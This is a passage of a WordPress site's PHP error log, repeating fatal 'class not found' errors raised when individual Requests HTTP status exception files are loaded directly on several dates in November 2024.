  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[10-Nov-2024 11:33:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[10-Nov-2024 11:33:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[10-Nov-2024 11:33:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[10-Nov-2024 11:33:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[10-Nov-2024 11:33:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[10-Nov-2024 11:33:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[10-Nov-2024 11:33:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[10-Nov-2024 11:33:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[10-Nov-2024 11:33:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[10-Nov-2024 11:33:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-Nov-2024 09:51:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-Nov-2024 09:51:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[13-Nov-2024 09:51:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[13-Nov-2024 09:51:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[13-Nov-2024 09:52:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-Nov-2024 09:52:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[13-Nov-2024 09:52:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[13-Nov-2024 09:52:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[13-Nov-2024 09:52:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[13-Nov-2024 09:52:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[13-Nov-2024 09:52:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-Nov-2024 09:52:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[13-Nov-2024 09:52:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-Nov-2024 09:52:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-Nov-2024 09:52:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[13-Nov-2024 09:52:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[13-Nov-2024 09:52:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[13-Nov-2024 09:52:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-Nov-2024 09:52:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-Nov-2024 09:52:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[13-Nov-2024 09:52:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[13-Nov-2024 09:52:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[13-Nov-2024 09:52:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[13-Nov-2024 09:52:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[13-Nov-2024 09:52:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-Nov-2024 09:52:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[13-Nov-2024 09:52:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[13-Nov-2024 09:52:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-Nov-2024 09:52:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[13-Nov-2024 09:52:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[17-Nov-2024 02:13:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[17-Nov-2024 02:13:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[17-Nov-2024 02:13:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[17-Nov-2024 02:13:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[17-Nov-2024 02:13:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[17-Nov-2024 02:13:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[17-Nov-2024 02:13:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[17-Nov-2024 02:13:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[17-Nov-2024 02:13:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[17-Nov-2024 02:13:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[17-Nov-2024 02:13:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[17-Nov-2024 02:13:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[17-Nov-2024 02:13:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[17-Nov-2024 02:13:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[17-Nov-2024 02:13:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[17-Nov-2024 02:13:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[17-Nov-2024 02:13:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[17-Nov-2024 02:13:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[17-Nov-2024 02:13:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[17-Nov-2024 02:13:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[17-Nov-2024 02:13:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[17-Nov-2024 02:14:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[17-Nov-2024 02:14:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[17-Nov-2024 02:14:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[17-Nov-2024 02:14:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[17-Nov-2024 02:14:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[17-Nov-2024 02:14:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[17-Nov-2024 02:14:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[17-Nov-2024 02:14:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[17-Nov-2024 02:14:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[17-Nov-2024 02:14:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[17-Nov-2024 02:14:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[17-Nov-2024 02:14:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Nov-2024 00:35:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Nov-2024 00:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Nov-2024 00:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Nov-2024 00:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Nov-2024 00:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Nov-2024 00:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Nov-2024 00:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Nov-2024 00:35:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Nov-2024 00:35:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Nov-2024 00:35:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Nov-2024 00:35:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Nov-2024 00:35:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Nov-2024 00:35:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Nov-2024 00:35:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Nov-2024 00:35:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Nov-2024 00:35:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[19-Nov-2024 00:35:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
